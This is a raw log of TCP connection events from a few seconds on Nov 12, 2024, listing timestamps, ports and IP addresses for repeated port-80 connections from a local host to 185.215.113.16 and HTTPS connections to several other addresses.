Nov 12, 2024 05:03:41.863254070 CET	80	50034	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:41.863353014 CET	50034	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:41.863373041 CET	50035	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:41.869066954 CET	50035	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:41.873848915 CET	80	50035	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:42.664441109 CET	50036	443	192.168.2.5	35.190.72.216
Nov 12, 2024 05:03:42.664491892 CET	443	50036	35.190.72.216	192.168.2.5
Nov 12, 2024 05:03:42.664562941 CET	50036	443	192.168.2.5	35.190.72.216
Nov 12, 2024 05:03:42.666182041 CET	50036	443	192.168.2.5	35.190.72.216
Nov 12, 2024 05:03:42.666194916 CET	443	50036	35.190.72.216	192.168.2.5
Nov 12, 2024 05:03:42.709670067 CET	50037	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:42.709693909 CET	443	50037	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:42.715238094 CET	50037	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:42.718305111 CET	50038	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:42.718319893 CET	443	50038	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:42.719793081 CET	50037	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:42.719806910 CET	443	50037	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:42.721971035 CET	50039	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:03:42.725735903 CET	50038	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:42.726788998 CET	80	50039	34.107.221.82	192.168.2.5
Nov 12, 2024 05:03:42.732069969 CET	50038	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:42.732084036 CET	443	50038	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:42.733005047 CET	50039	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:03:42.733119965 CET	50039	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:03:42.737833977 CET	80	50039	34.107.221.82	192.168.2.5
Nov 12, 2024 05:03:42.766427040 CET	80	50035	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:42.766556025 CET	50035	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:42.770312071 CET	50035	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:42.775151968 CET	80	50035	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:43.053725958 CET	80	50035	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:43.053802967 CET	50035	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:43.088459969 CET	80	50027	185.215.113.206	192.168.2.5
Nov 12, 2024 05:03:43.088515997 CET	50027	80	192.168.2.5	185.215.113.206
Nov 12, 2024 05:03:43.206322908 CET	50035	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:43.206630945 CET	50040	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:43.211400986 CET	80	50040	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:43.211420059 CET	80	50035	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:43.211476088 CET	50040	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:43.211507082 CET	50035	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:43.211658001 CET	50040	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:43.216432095 CET	80	50040	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:43.226557970 CET	50027	80	192.168.2.5	185.215.113.206
Nov 12, 2024 05:03:43.281533003 CET	443	50036	35.190.72.216	192.168.2.5
Nov 12, 2024 05:03:43.281610966 CET	50036	443	192.168.2.5	35.190.72.216
Nov 12, 2024 05:03:43.328762054 CET	80	50039	34.107.221.82	192.168.2.5
Nov 12, 2024 05:03:43.374727011 CET	50039	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:03:43.577466011 CET	443	50037	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:43.577538013 CET	50037	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:43.578176022 CET	443	50037	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:43.578231096 CET	50037	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:43.582742929 CET	443	50038	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:43.582755089 CET	443	50038	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:43.582814932 CET	50038	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:43.583477974 CET	443	50038	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:43.583529949 CET	50038	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:44.102967024 CET	80	50040	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:44.103020906 CET	50040	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:44.103754997 CET	50040	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:44.108520985 CET	80	50040	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:44.383225918 CET	80	50040	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:44.383285046 CET	50040	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:44.487374067 CET	50040	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:44.487680912 CET	50041	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:44.492537975 CET	80	50041	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:44.492551088 CET	80	50040	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:44.492624044 CET	50040	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:44.492636919 CET	50041	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:44.492767096 CET	50041	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:44.497503042 CET	80	50041	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:45.399487972 CET	80	50041	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:45.399558067 CET	50041	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:45.400499105 CET	50041	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:45.405230999 CET	80	50041	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:45.683326960 CET	80	50041	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:45.683381081 CET	50041	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:45.797414064 CET	50041	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:45.797736883 CET	50042	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:45.802520037 CET	80	50041	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:45.802534103 CET	80	50042	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:45.802571058 CET	50041	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:45.802609921 CET	50042	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:45.802747965 CET	50042	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:45.807554007 CET	80	50042	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:46.704253912 CET	80	50042	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:46.704332113 CET	50042	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:46.705060959 CET	50042	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:46.709886074 CET	80	50042	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:46.986813068 CET	80	50042	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:46.986879110 CET	50042	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:47.094173908 CET	50042	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:47.094494104 CET	50043	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:47.099220037 CET	80	50043	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:47.099291086 CET	50043	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:47.099392891 CET	80	50042	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:47.099478006 CET	50043	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:47.099502087 CET	50042	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:47.104254961 CET	80	50043	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:47.994954109 CET	80	50043	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:47.995018005 CET	50043	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:47.995692015 CET	50043	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:48.000471115 CET	80	50043	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:48.275655031 CET	80	50043	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:48.275866032 CET	50043	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:48.391468048 CET	50043	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:48.391844988 CET	50044	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:48.396620989 CET	80	50043	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:48.396661043 CET	80	50044	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:48.396704912 CET	50043	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:48.396773100 CET	50044	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:48.396961927 CET	50044	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:48.401700020 CET	80	50044	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:49.315546036 CET	80	50044	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:49.316368103 CET	50044	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:49.317156076 CET	50044	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:49.321958065 CET	80	50044	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:49.604937077 CET	80	50044	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:49.606328011 CET	50044	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:49.719501972 CET	50044	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:49.719832897 CET	50045	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:49.724513054 CET	80	50044	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:49.724560976 CET	80	50045	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:49.724579096 CET	50044	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:49.724627972 CET	50045	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:49.724937916 CET	50045	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:49.729688883 CET	80	50045	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:50.652875900 CET	80	50045	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:50.652940989 CET	50045	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:50.653680086 CET	50045	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:50.658555984 CET	80	50045	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:50.941863060 CET	80	50045	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:50.941931009 CET	50045	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:51.048491955 CET	50045	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:51.048830986 CET	50046	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:51.053661108 CET	80	50046	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:51.053689003 CET	80	50045	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:51.053740025 CET	50046	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:51.053776026 CET	50045	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:51.054125071 CET	50046	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:51.058856964 CET	80	50046	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:51.981858015 CET	80	50046	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:51.981914997 CET	50046	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:51.986186981 CET	50046	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:51.990959883 CET	80	50046	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:51.991821051 CET	50036	443	192.168.2.5	35.190.72.216
Nov 12, 2024 05:03:52.008898973 CET	50038	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:52.008943081 CET	50037	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:52.008965969 CET	50039	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:03:52.274142981 CET	80	50046	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:52.274234056 CET	50046	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:52.401541948 CET	50046	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:52.401845932 CET	50047	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:52.406713009 CET	80	50047	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:52.406734943 CET	80	50046	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:52.406795979 CET	50047	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:52.406827927 CET	50046	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:52.409030914 CET	50047	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:52.413832903 CET	80	50047	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:53.327132940 CET	80	50047	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:53.327239037 CET	50047	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:53.327872038 CET	50047	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:53.332811117 CET	80	50047	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:53.618856907 CET	80	50047	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:53.618911028 CET	50047	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:53.735400915 CET	50047	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:53.735934973 CET	50048	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:53.740675926 CET	80	50047	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:53.740734100 CET	50047	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:53.740768909 CET	80	50048	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:53.740833998 CET	50048	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:53.741012096 CET	50048	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:53.745793104 CET	80	50048	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:54.650564909 CET	80	50048	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:54.652322054 CET	50048	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:54.653637886 CET	50048	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:54.658456087 CET	80	50048	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:54.937102079 CET	80	50048	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:54.937283039 CET	50048	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:55.047818899 CET	50048	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:55.048331022 CET	50053	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:55.053129911 CET	80	50048	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:55.053200006 CET	80	50053	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:55.053448915 CET	50048	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:55.053452015 CET	50053	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:55.055330992 CET	50053	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:55.060164928 CET	80	50053	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:55.970931053 CET	80	50053	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:55.970988989 CET	50053	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:55.971802950 CET	50053	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:55.976629972 CET	80	50053	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:56.259356976 CET	80	50053	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:56.259421110 CET	50053	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:56.375577927 CET	50053	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:56.376151085 CET	50054	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:56.380943060 CET	80	50054	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:56.381011009 CET	50054	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:56.381170988 CET	80	50053	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:56.381218910 CET	50053	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:56.381383896 CET	50054	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:56.386131048 CET	80	50054	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:57.279124022 CET	80	50054	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:57.279191971 CET	50054	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:57.279949903 CET	50054	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:57.284754992 CET	80	50054	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:57.561880112 CET	80	50054	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:57.561953068 CET	50054	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:57.691529989 CET	50054	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:57.696830988 CET	80	50054	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:57.696904898 CET	50054	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:57.724525928 CET	50055	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:57.729552031 CET	80	50055	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:57.733422041 CET	50055	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:57.737689972 CET	50055	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:57.742558956 CET	80	50055	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:57.910778046 CET	50056	443	192.168.2.5	35.190.72.216
Nov 12, 2024 05:03:57.910834074 CET	443	50056	35.190.72.216	192.168.2.5
Nov 12, 2024 05:03:57.910981894 CET	50056	443	192.168.2.5	35.190.72.216
Nov 12, 2024 05:03:57.912530899 CET	50056	443	192.168.2.5	35.190.72.216
Nov 12, 2024 05:03:57.912548065 CET	443	50056	35.190.72.216	192.168.2.5
Nov 12, 2024 05:03:58.519213915 CET	443	50056	35.190.72.216	192.168.2.5
Nov 12, 2024 05:03:58.527333975 CET	443	50056	35.190.72.216	192.168.2.5
Nov 12, 2024 05:03:58.532259941 CET	50056	443	192.168.2.5	35.190.72.216
Nov 12, 2024 05:03:58.538647890 CET	50056	443	192.168.2.5	35.190.72.216
Nov 12, 2024 05:03:58.538660049 CET	443	50056	35.190.72.216	192.168.2.5
Nov 12, 2024 05:03:58.538799047 CET	50056	443	192.168.2.5	35.190.72.216
Nov 12, 2024 05:03:58.538805008 CET	443	50056	35.190.72.216	192.168.2.5
Nov 12, 2024 05:03:58.538820028 CET	443	50056	35.190.72.216	192.168.2.5
Nov 12, 2024 05:03:58.539170980 CET	50057	443	192.168.2.5	35.190.72.216
Nov 12, 2024 05:03:58.539205074 CET	443	50057	35.190.72.216	192.168.2.5
Nov 12, 2024 05:03:58.547899961 CET	50057	443	192.168.2.5	35.190.72.216
Nov 12, 2024 05:03:58.549781084 CET	50057	443	192.168.2.5	35.190.72.216
Nov 12, 2024 05:03:58.549796104 CET	443	50057	35.190.72.216	192.168.2.5
Nov 12, 2024 05:03:58.645210981 CET	80	50055	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:58.645319939 CET	50055	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:58.648051023 CET	50055	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:58.652916908 CET	80	50055	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:58.747334957 CET	443	50056	35.190.72.216	192.168.2.5
Nov 12, 2024 05:03:58.747394085 CET	50056	443	192.168.2.5	35.190.72.216
Nov 12, 2024 05:03:58.935496092 CET	80	50055	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:58.935554028 CET	50055	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:58.990313053 CET	50058	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:58.990355968 CET	443	50058	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:58.992109060 CET	50058	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:58.993629932 CET	50058	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:58.993643045 CET	443	50058	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:59.041338921 CET	50059	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:59.041367054 CET	443	50059	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:59.042337894 CET	50059	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:59.046073914 CET	50059	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:59.046088934 CET	443	50059	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:59.046977043 CET	50060	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:03:59.051883936 CET	80	50060	34.107.221.82	192.168.2.5
Nov 12, 2024 05:03:59.057660103 CET	50060	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:03:59.058212042 CET	50055	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:59.058523893 CET	50061	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:59.059489012 CET	50060	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:03:59.063325882 CET	80	50061	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:59.063343048 CET	80	50055	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:59.063690901 CET	50055	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:59.063703060 CET	50061	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:59.063909054 CET	50061	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:59.064250946 CET	80	50060	34.107.221.82	192.168.2.5
Nov 12, 2024 05:03:59.068814039 CET	80	50061	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:59.167288065 CET	443	50057	35.190.72.216	192.168.2.5
Nov 12, 2024 05:03:59.167300940 CET	443	50057	35.190.72.216	192.168.2.5
Nov 12, 2024 05:03:59.167370081 CET	50057	443	192.168.2.5	35.190.72.216
Nov 12, 2024 05:03:59.172997952 CET	50057	443	192.168.2.5	35.190.72.216
Nov 12, 2024 05:03:59.173007011 CET	443	50057	35.190.72.216	192.168.2.5
Nov 12, 2024 05:03:59.173118114 CET	50057	443	192.168.2.5	35.190.72.216
Nov 12, 2024 05:03:59.173144102 CET	443	50057	35.190.72.216	192.168.2.5
Nov 12, 2024 05:03:59.173198938 CET	50057	443	192.168.2.5	35.190.72.216
Nov 12, 2024 05:03:59.580811977 CET	50062	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:59.580841064 CET	443	50062	34.117.188.166	192.168.2.5
Nov 12, 2024 05:03:59.588581085 CET	50062	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:59.591330051 CET	50062	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:59.591345072 CET	443	50062	34.117.188.166	192.168.2.5
Nov 12, 2024 05:03:59.606650114 CET	50063	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:59.606682062 CET	443	50063	34.117.188.166	192.168.2.5
Nov 12, 2024 05:03:59.608710051 CET	50063	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:59.610263109 CET	50063	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:59.610276937 CET	443	50063	34.117.188.166	192.168.2.5
Nov 12, 2024 05:03:59.633995056 CET	50064	443	192.168.2.5	35.244.181.201
Nov 12, 2024 05:03:59.634021997 CET	443	50064	35.244.181.201	192.168.2.5
Nov 12, 2024 05:03:59.634615898 CET	50064	443	192.168.2.5	35.244.181.201
Nov 12, 2024 05:03:59.634793043 CET	50064	443	192.168.2.5	35.244.181.201
Nov 12, 2024 05:03:59.634807110 CET	443	50064	35.244.181.201	192.168.2.5
Nov 12, 2024 05:03:59.682188988 CET	50065	443	192.168.2.5	34.160.144.191
Nov 12, 2024 05:03:59.682208061 CET	443	50065	34.160.144.191	192.168.2.5
Nov 12, 2024 05:03:59.682976961 CET	50065	443	192.168.2.5	34.160.144.191
Nov 12, 2024 05:03:59.686496019 CET	80	50060	34.107.221.82	192.168.2.5
Nov 12, 2024 05:03:59.693732977 CET	50065	443	192.168.2.5	34.160.144.191
Nov 12, 2024 05:03:59.693746090 CET	443	50065	34.160.144.191	192.168.2.5
Nov 12, 2024 05:03:59.735696077 CET	50060	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:03:59.886632919 CET	443	50058	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:59.886706114 CET	50058	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:59.887370110 CET	443	50058	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:59.887415886 CET	50058	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:59.897708893 CET	50058	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:59.897713900 CET	443	50058	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:59.897809982 CET	50058	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:59.897896051 CET	443	50058	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:59.899976015 CET	50058	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:59.914695024 CET	443	50059	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:59.914764881 CET	50059	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:59.915420055 CET	443	50059	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:59.915626049 CET	50059	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:59.919250011 CET	50059	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:59.919256926 CET	443	50059	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:59.919373035 CET	50059	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:59.919442892 CET	443	50059	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:59.919490099 CET	50059	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:59.919764996 CET	50066	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:59.919778109 CET	443	50066	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:59.919845104 CET	50066	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:59.921421051 CET	50066	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:59.921432972 CET	443	50066	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:59.989126921 CET	80	50061	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:59.989243984 CET	50061	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:59.990839958 CET	50061	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:59.995629072 CET	80	50061	185.215.113.16	192.168.2.5
Nov 12, 2024 05:04:00.197082043 CET	443	50062	34.117.188.166	192.168.2.5
Nov 12, 2024 05:04:00.197097063 CET	443	50062	34.117.188.166	192.168.2.5
Nov 12, 2024 05:04:00.204878092 CET	50062	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:04:00.215435982 CET	443	50063	34.117.188.166	192.168.2.5
Nov 12, 2024 05:04:00.225279093 CET	50063	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:04:00.230489969 CET	50062	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:04:00.230499983 CET	443	50062	34.117.188.166	192.168.2.5
Nov 12, 2024 05:04:00.230623007 CET	443	50062	34.117.188.166	192.168.2.5
Nov 12, 2024 05:04:00.230649948 CET	50062	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:04:00.230654001 CET	443	50062	34.117.188.166	192.168.2.5
Nov 12, 2024 05:04:00.231277943 CET	50067	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:04:00.231307983 CET	443	50067	34.117.188.166	192.168.2.5
Nov 12, 2024 05:04:00.231698990 CET	50067	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:04:00.233046055 CET	50067	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:04:00.233058929 CET	443	50067	34.117.188.166	192.168.2.5
Nov 12, 2024 05:04:00.233117104 CET	50063	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:04:00.233134985 CET	443	50063	34.117.188.166	192.168.2.5
Nov 12, 2024 05:04:00.233206987 CET	50063	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:04:00.233253956 CET	443	50063	34.117.188.166	192.168.2.5
Nov 12, 2024 05:04:00.233297110 CET	50063	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:04:00.233545065 CET	50068	443	192.168.2.5	34.117.188.166
